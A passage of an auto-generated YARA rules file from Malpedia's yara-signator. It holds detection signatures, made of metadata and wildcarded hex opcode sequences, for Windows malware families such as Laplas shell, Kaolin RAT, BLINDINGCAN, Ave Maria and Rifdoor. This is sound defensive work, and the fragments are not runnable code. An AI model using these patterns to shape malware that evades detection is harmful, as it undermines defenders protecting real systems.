		$sequence_3 = { 29f8 83cbff f7d3 b8670e0100 8d0dc8680100 01d0 }
		$sequence_4 = { 53 ffd6 68ad020000 53 a3???????? ffd6 689d020000 }
		$sequence_5 = { df7809 60 9f 79c1 7cc2 }
		$sequence_6 = { 68d44f0100 59 0315???????? 21fb 031d???????? 31f1 83f2ff }
		$sequence_7 = { 57 68e1030000 ff550c 68d1030000 }
		$sequence_8 = { 8bc7 e9???????? 897dcc 33db 897dc8 397d08 7508 }
		$sequence_9 = { 8d04bd04000000 50 e8???????? 8bd8 }
	condition:
		7 of them and filesize < 565248
}

rule MALPEDIA_Win_Laplas_Shell_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9c75f717-3a83-5505-a36a-1bce6df358ef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas_shell"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laplas_shell_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "651ff3d6bd8dabc0c16e2a61ceeb9a40f1d04f00168f1b0feb2a3661a16c588d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb6825c324000 308618504000 8b4f10 8b5f14 0fb69618504000 3bcb }
		$sequence_1 = { f7f1 0fb6825c324000 308618504000 8b4f10 8b5f14 0fb69618504000 3bcb }
		$sequence_2 = { 8bc8 85c9 7504 ffd3 }
		$sequence_3 = { c745fcffffffff 8b95ecfbffff 8b1d???????? 8b3d???????? }
		$sequence_4 = { 89b594e6ffff 89b590e6ffff ff15???????? 85c0 7555 56 }
		$sequence_5 = { 55 8bec 6aff 68???????? 64a100000000 50 b8ac190000 }
		$sequence_6 = { 668985cafbffff 8d85c8fbffff 6a10 50 }
		$sequence_7 = { 0f57c0 c78558e6ffff44000000 6a00 50 }
		$sequence_8 = { ba???????? 50 8b0d???????? e8???????? }
		$sequence_9 = { c745fc00000000 83bdecfbffff08 8d85d8fbffff 51 0f4385d8fbffff 8d8d58e6ffff }
	condition:
		7 of them and filesize < 59392
}

rule MALPEDIA_Win_Kaolin_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c9e8556c-d2a8-55c8-b1a4-294ebe1251e5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kaolin_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kaolin_rat_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "f64c57e6849676b495ac58f80cd5164da6e94327fa0e0172abebd0301649988c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 44897c2428 44897c2420 4533c9 4533c0 488bd0 33c9 }
		$sequence_1 = { 66c704083f00 eb1d 48c744242001000000 4c8d0df8af0200 ba01000000 498bcc e8???????? }
		$sequence_2 = { 488bd7 488d4d08 e8???????? 488b4d18 488b5520 488bc2 482bc1 }
		$sequence_3 = { 488b8a30000000 e9???????? 488b8a60000000 e9???????? 4055 4883ec20 488bea }
		$sequence_4 = { 48833d????????10 480f4305???????? 448828 418bdd 48391d???????? }
		$sequence_5 = { 4c8d0dab4c0200 ba03000000 488bcf e8???????? }
		$sequence_6 = { 4885c0 750a b9c8000000 e9???????? 4c8b6008 488b00 83b88c00000000 }
		$sequence_7 = { ba04010000 488d8db0000000 e8???????? 418bcf 48890d???????? 488d3d5eae0300 488d1517b00300 }
		$sequence_8 = { 4883fa10 480f431d???????? 4803d9 4d8bc6 498bd5 488bcb e8???????? }
		$sequence_9 = { 482bc1 4883f801 721d 488d4101 488945d0 488d45c0 4883fa10 }
	condition:
		7 of them and filesize < 581632
}

rule MALPEDIA_Win_Goldenspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9a246a47-ca73-52d5-9d24-1b989582e4ce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goldenspy_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "abc1cc932d348f65dac5bf1d4eeb448d62aaba8c9d68819a9d802639d61024c9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b0cbd48b24700 c644112900 837dfc00 7507 }
		$sequence_1 = { 8bce ff5010 eb2d 8b06 8bce ff501c eb24 }
		$sequence_2 = { 8bc8 e8???????? 8d4de0 c645fc0c e8???????? }
		$sequence_3 = { ff75bc 8bcf e8???????? 3bf3 0f85b4feffff b001 }
		$sequence_4 = { 50 8bcb e8???????? ba01000000 eb0d }
		$sequence_5 = { e8???????? 84c0 0f84d7000000 8b55c8 8d4dd8 e8???????? c745fc01000000 }
		$sequence_6 = { 50 8bce c78588fdffff00000000 e8???????? 8b00 3b06 7507 }
		$sequence_7 = { 51 0f434520 50 51 8d8dccfeffff e8???????? 837d1c10 }
		$sequence_8 = { 8b08 2bd1 52 eb2b 8b8538ffffff a804 752d }
		$sequence_9 = { 6a00 50 6802000080 ff15???????? 85c0 7557 }
	condition:
		7 of them and filesize < 1081344
}

rule MALPEDIA_Win_Rising_Sun_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "afe0dde0-e37a-56f6-a5c0-50cfaffa0977"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rising_sun_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "40765e7d19d635bf8650e8be6d9d37fa72ae2ec05839a775bf402065a6579e22"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 488d8c2420080000 e9???????? 483b05???????? 750a e8???????? }
		$sequence_1 = { 488b05???????? 4833c4 48898424a0080000 488bd9 488d8c24a1020000 33d2 41b8fb050000 }
		$sequence_2 = { 7905 83c8ff eb28 498bc6 4c3b7710 720b b957000780 }
		$sequence_3 = { 42890421 488b442428 83c30f 4863cb 83c308 4a890421 }
		$sequence_4 = { e8???????? 48c744247000010000 4c89642448 4c89642450 488bfe 4c89642420 4885ff }
		$sequence_5 = { 488b8828010000 488b01 8a08 880a 33c9 4c8d058e760000 388c2498000000 }
		$sequence_6 = { 488985e0080000 448bea 488bd9 c744245018d32263 c744245407137a55 c744245883e85ad2 c744245cee3ed142 }
		$sequence_7 = { 4c89642458 4c89642460 4c89642468 4c89642470 4c89642478 44896580 4489642440 }
		$sequence_8 = { c74538a9bcad89 c7453ca6ac81a6 c74540a1bca1a9 c74544a4a1b2ad c745489ba1acc8 c7454cc8c8c8c8 }
		$sequence_9 = { eb39 6683f93f 0f8510040000 4883c002 }
	condition:
		7 of them and filesize < 409600
}

rule MALPEDIA_Win_Blindingcan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "acf0a9ea-8e05-5582-9c4c-05db475e1e05"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blindingcan_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "106ff295c55cb42cf4cd73966a6c4c30703711b6e069188fdbe10ead59c40c1a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745cc2932779f 66c745d0e35b c745d45df0da89 c745d87b772e76 c745dc62a9f6c4 c745e0d29c1f7b }
		$sequence_1 = { a1???????? 33c5 8945fc 56 57 8d85f8f7ffff }
		$sequence_2 = { 750a 8b30 89b495fcfeffff 42 83c00c 49 }
		$sequence_3 = { c7857cfeffff36a54e6b c78580feffff5c01611e c78584feffffb5dcfc68 c78588feffff6ce7a33a c7858cfeffffafe2e55a c78590feffff74c31dff c78594feffff657f9183 }
		$sequence_4 = { c78514fdffff7532479f c78518fdffffe35bc9c0 c7851cfdfffffc9c461f c78520fdffff9821ddfa c78524fdffff589a8f7a }
		$sequence_5 = { c78554feffffa14b0c27 c78558feffff10c0aac6 c7855cfeffff489a8471 c78560feffff9cab4ad6 c78564feffff67cf2900 c78568feffff02dbaeb5 }
		$sequence_6 = { 83c40c 85f6 741f 68???????? 68???????? 6a00 }
		$sequence_7 = { c78504fdfffff79d6681 c78508fdffffbfa7f8a5 c7850cfdffffa0118db8 c78510fdffff4d3feb78 }
		$sequence_8 = { 8bca e8???????? 85c0 7409 e8???????? }
		$sequence_9 = { 99 f7fe 8bca e8???????? }
		$sequence_10 = { b990190000 66394802 7574 488b35???????? 33d2 }
		$sequence_11 = { 488bd3 ff15???????? 4c21642438 4c21642430 895c2428 83cbff }
		$sequence_12 = { 4c8bc9 753b 0fb789a8040000 b8bb010000 ba00010000 }
		$sequence_13 = { 488d4dd0 ff15???????? 488d55b8 488d4dd0 ff15???????? f20f102d???????? }
		$sequence_14 = { 4533848410cb0100 4533451c 418bc0 c1e810 }
		$sequence_15 = { 488bf8 483bc3 7423 448d4e81 448d4684 488d542440 }
	condition:
		7 of them and filesize < 363520
}

rule MALPEDIA_Win_Virut_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3fd5dd6e-824b-546b-b12a-268a3f416abf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virut_auto.yar#L1-L167"
		license_url = "N/A"
		logic_hash = "de37b05635cd805b87d10763e231c25410e6442bea902a0aedfdfedcccb45534"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c ab ab 8d442430 50 }
		$sequence_1 = { e9???????? 8dbec8000000 0fb74e1e 8d74311f 6804010000 57 }
		$sequence_2 = { 3bf1 7ce5 8b442414 6a03 }
		$sequence_3 = { 6804010000 ff15???????? 8d8424c8000000 50 }
		$sequence_4 = { 53 6a05 8bcc 50 }
		$sequence_5 = { 50 ff15???????? 3bc3 0f8484020000 8b400c }
		$sequence_6 = { 03f9 57 52 6a18 }
		$sequence_7 = { 54 51 50 52 51 51 }
		$sequence_8 = { 85c0 7416 e314 50 8bd4 6a00 }
		$sequence_9 = { 85c0 7d04 33c0 eb63 ff750c }
		$sequence_10 = { 8d8424dc020000 50 33db 53 ff15???????? 8b35???????? 53 }
		$sequence_11 = { 6a00 8bcc 6a40 6800001000 }
		$sequence_12 = { 6a00 6800000008 6a40 51 52 6a0e 50 }
		$sequence_13 = { 83e003 40 50 8d442428 50 8d8424e0020000 }
		$sequence_14 = { 3b44240c 8d8c1139300000 894c2414 7cdc 53 8d442410 }
		$sequence_15 = { 8bd4 50 54 6a40 51 52 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Unidentified_001_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f3b6be6e-c236-5d2d-a19b-afb6b895b93e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_001_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "499ec49f978d7f898a74204c78a47d7ff968e3be0856c4a113e03a1aece4ce50"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 741c 83e80a 0f84c6fcffff 2def000000 }
		$sequence_1 = { 6830750000 ffd6 8b4df8 85c9 7483 8d45fc }
		$sequence_2 = { 85c9 0f84dafdffff e8???????? 85c0 0f85f3000000 }
		$sequence_3 = { 8b06 8d4dfc 51 56 ff5028 85c0 7d0c }
		$sequence_4 = { 895824 895808 c7401c06000000 47 }
		$sequence_5 = { 2d0a020000 0f84a2faffff 2d02020000 e9???????? c705????????0d000000 }
		$sequence_6 = { 8b4508 83e103 f3a4 8bd0 668b08 }
		$sequence_7 = { 0f8468feffff 3d4b475a00 0f845dfeffff 3d4d4f5a00 0f8507f9ffff 8325????????00 e9???????? }
		$sequence_8 = { 2df9070000 0f8437010000 2d01010000 0f84e2050000 2df3010000 7420 }
		$sequence_9 = { 3d54484100 7416 3d414c4100 753b c705????????09000000 e9???????? }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Dircrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c9519422-995e-5f4b-95b5-a3519aa7df7b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dircrypt_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "97e8d29d80833d84634b7be7e527266210c621226e2be34c9aa4ca8405333cc4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 6a00 e8???????? 05d6070000 50 }
		$sequence_1 = { e8???????? 03f0 8d45dc 50 e8???????? }
		$sequence_2 = { e8???????? 05d3070000 50 6a01 }
		$sequence_3 = { 833d????????00 751a 68???????? e8???????? 05d2070000 50 e8???????? }
		$sequence_4 = { 751a 68???????? e8???????? 05d2070000 50 }
		$sequence_5 = { 833d????????00 7514 c705????????01000000 e8???????? }
		$sequence_6 = { c705????????01000000 e8???????? e8???????? 833d????????00 7514 }
		$sequence_7 = { 6801000080 e8???????? e8???????? e8???????? e8???????? }
		$sequence_8 = { 05d2070000 50 e8???????? a3???????? 6a13 68???????? }
		$sequence_9 = { 833d????????00 7536 c705????????01000000 e8???????? }
	condition:
		7 of them and filesize < 671744
}

rule MALPEDIA_Win_Heyoka_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "374fa72e-9fa9-57de-876f-40244ff261b7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heyoka_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "3a5efb9930b3bae06b8a8e2c4e2b028b7e1db66cce7d680b56a42e4a7b874053"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? ff15???????? b801000000 5d c3 55 8bec }
		$sequence_1 = { 8b5118 895018 a1???????? 8b4dfc 894818 8b55fc 8915???????? }
		$sequence_2 = { 0345f8 8a4df1 8848ff 8b55f8 3b550c 7c02 eb02 }
		$sequence_3 = { 8bec 8b4508 33c9 8a480c 51 8b5508 83c20d }
		$sequence_4 = { 8b45ec 8945f4 8b4df7 81e1ff000000 51 8b55f6 81e2ff000000 }
		$sequence_5 = { 8b0d???????? 894df8 683f420f00 6a00 8b15???????? 52 e8???????? }
		$sequence_6 = { 8bec 81ec18040000 57 c685f0fbffff00 b9ff000000 33c0 8dbdf1fbffff }
		$sequence_7 = { 8bc3 885d0b c1e808 88450a 0fb6c0 f68061d7011004 }
		$sequence_8 = { 8b7508 8b06 8945c0 3bc3 7545 8d45c0 50 }
		$sequence_9 = { 8b5590 83c201 895590 8b4590 3b4510 0f87ab000000 8b4d0c }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Nitol_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6668ada1-f01c-572c-b281-f0ac4f640b75"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitol_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "67d30b435253ce01a4470efa2d653d5ffbe45043e37cc62d200042e270ffc2b7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8554ffffff 50 e8???????? 83c420 bffa000000 }
		$sequence_1 = { 8945e4 51 ff75ec 50 ff7508 ff15???????? }
		$sequence_2 = { 57 ffd3 45 3bae08010000 7cd6 57 }
		$sequence_3 = { 896c2434 8d442434 6a04 bd05100000 50 55 }
		$sequence_4 = { 55 8bec 81ec20020000 c645e0cf c645e185 c645e2cc c645e3c4 }
		$sequence_5 = { 5b 55 8bec 81ec18050000 56 }
		$sequence_6 = { 50 e8???????? 83c424 8d8560ffffff 66c745f00200 50 ff15???????? }
		$sequence_7 = { ff15???????? 85c0 7d16 ff742404 }
		$sequence_8 = { ffd6 ffb530ffffff 668945d8 ffd6 6800e9a435 }
		$sequence_9 = { 8a0c3b 880e 46 43 ebf3 43 40 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Thunker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c02652c6-959e-5488-b341-ccfb73521f28"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thunker_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "8683a109f273456a365b0d0365e46b8d3a1cb330ad7cb852c208d9e170093c6d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7505 e9???????? ffb5fcfdffff e8???????? 68???????? 8d8500feffff }
		$sequence_1 = { e8???????? 8d8500feffff 50 e8???????? 8d8500feffff 50 68???????? }
		$sequence_2 = { 7417 e9???????? 3de7710000 7433 7c79 }
		$sequence_3 = { 8d0556412600 8945fc a1???????? 8945e8 8d05a02a2600 8945dc 8365f000 }
		$sequence_4 = { e8???????? 83c40c 09c0 750d }
		$sequence_5 = { e8???????? 6a06 53 e8???????? 83c410 eb40 6a04 }
		$sequence_6 = { 09c0 743b 6a00 6800100000 8d85fceeffff 50 ffb5e0edffff }
		$sequence_7 = { c6843d00feffff00 09ff 7405 83ffff 7502 eb48 }
		$sequence_8 = { 83c40c 8d8544edffff 50 e8???????? 8985c4edffff }
		$sequence_9 = { 89e5 51 56 57 8b7d08 ff750c }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Ave_Maria_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "87720f7c-76f1-51d7-aae1-49bd8d947af2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ave_maria_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "084747828755c63e5e35ddf08ea97436090c1d46b402b58bfe29209faf23a08b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 33c9 85c0 0f94c1 8bc1 c3 }
		$sequence_1 = { 8a5716 f6d2 80e201 5f 5e 8ac2 5b }
		$sequence_2 = { 50 e8???????? 8b37 8bcf e8???????? 50 56 }
		$sequence_3 = { e8???????? 8d4de8 e8???????? 8b4508 5e c9 c20400 }
		$sequence_4 = { 8bf0 ba???????? 51 8bce e8???????? ba???????? }
		$sequence_5 = { 740a 8b45f0 8906 33c0 40 eb02 33c0 }
		$sequence_6 = { 56 8bf1 ff15???????? 8d8ed8010000 e8???????? 8d4e30 e8???????? }
		$sequence_7 = { 0f84e0000000 51 ba???????? 8bc8 e8???????? 8b4e10 ba???????? }
		$sequence_8 = { 8d44240c 56 57 8b7d08 6a00 ff7708 }
		$sequence_9 = { 03d1 c1cf02 8b4df0 03d3 334dac 8bc7 }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Win_Plaintee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c56b0cbf-9d5e-5f6b-9ab4-e8b2c0f5e971"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plaintee_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "ab35f3cc5b4d32bf6576e8cbf7b0de583ee4e81c86ef4d1d809f91568ce439ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c408 ff15???????? 99 b932000000 8b742410 f7f9 8b4c240c }
		$sequence_1 = { ffd0 8b4c2400 33c0 83f905 0f94c0 }
		$sequence_2 = { 7e0f 53 8a1c31 32da }
		$sequence_3 = { e8???????? 8bf0 eb02 33f6 8bce e8???????? 8a8669010000 }
		$sequence_4 = { 51 6a00 52 56 50 ff15???????? 83f85a }
		$sequence_5 = { 8b8d4c010000 83c25a 51 50 }
		$sequence_6 = { b932000000 8b742410 f7f9 8b4c240c }
		$sequence_7 = { 6802020000 ff15???????? 85c0 740a b001 }
		$sequence_8 = { 56 8b74240c 50 8b44240c }
		$sequence_9 = { 51 8b4c241c 51 ff15???????? }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Rifdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c64cc60e-de43-57ba-a8c5-3da8fe6ea09a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rifdoor_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "4a7031572d6960be3c18bec0c177698078092abb2ffc70b93030291dca57dff4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7404 3bc3 7508 c744242401000000 8d4c2410 }
		$sequence_1 = { 895c2410 8d442410 50 b808000000 b9???????? e8???????? }
		$sequence_2 = { 56 bf12000000 e8???????? 83c404 }
		$sequence_3 = { c1e006 03048d605d4100 eb05 b8???????? }
		$sequence_4 = { 8b4c2408 51 ff15???????? 5f 83c408 c3 }
		$sequence_5 = { 6a00 6a12 8d54240c 52 50 }
		$sequence_6 = { 85c0 7518 5e 8b8c2404010000 33cc e8???????? 81c408010000 }
		$sequence_7 = { 7d0e 885c301c 017e5c 8b465c 3bc1 }
		$sequence_8 = { 80bd98feffff00 8d8598feffff 740d 8bc8 }
		$sequence_9 = { c1eb10 22d3 8bde 8bc8 }
		$sequence_10 = { 03c2 8b9540fbffff 89853cfbffff 52 8d8544fbffff }
		$sequence_11 = { 8bec 53 56 8b35???????? 57 3b35???????? 7d4a }
		$sequence_12 = { ff15???????? 85c0 0f85cf000000 803d????????00 b8???????? }
		$sequence_13 = { 5d c3 6a04 8d45dc 50 6a08 }
		$sequence_14 = { 33c0 898540bdffff 898544bdffff 898548bdffff 89854cbdffff 8b8558bdffff }
		$sequence_15 = { ff15???????? 8d85e8fbffff 50 8bc8 51 ff15???????? e9???????? }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Ratankba_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6a3f1f15-dacb-52cd-b11b-5a08568d4510"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratankba_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "245ded0bb432e91f4a3aadcb5c1a265abfb5f2ea6a66bf5a1e4eebc1e9edd031"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
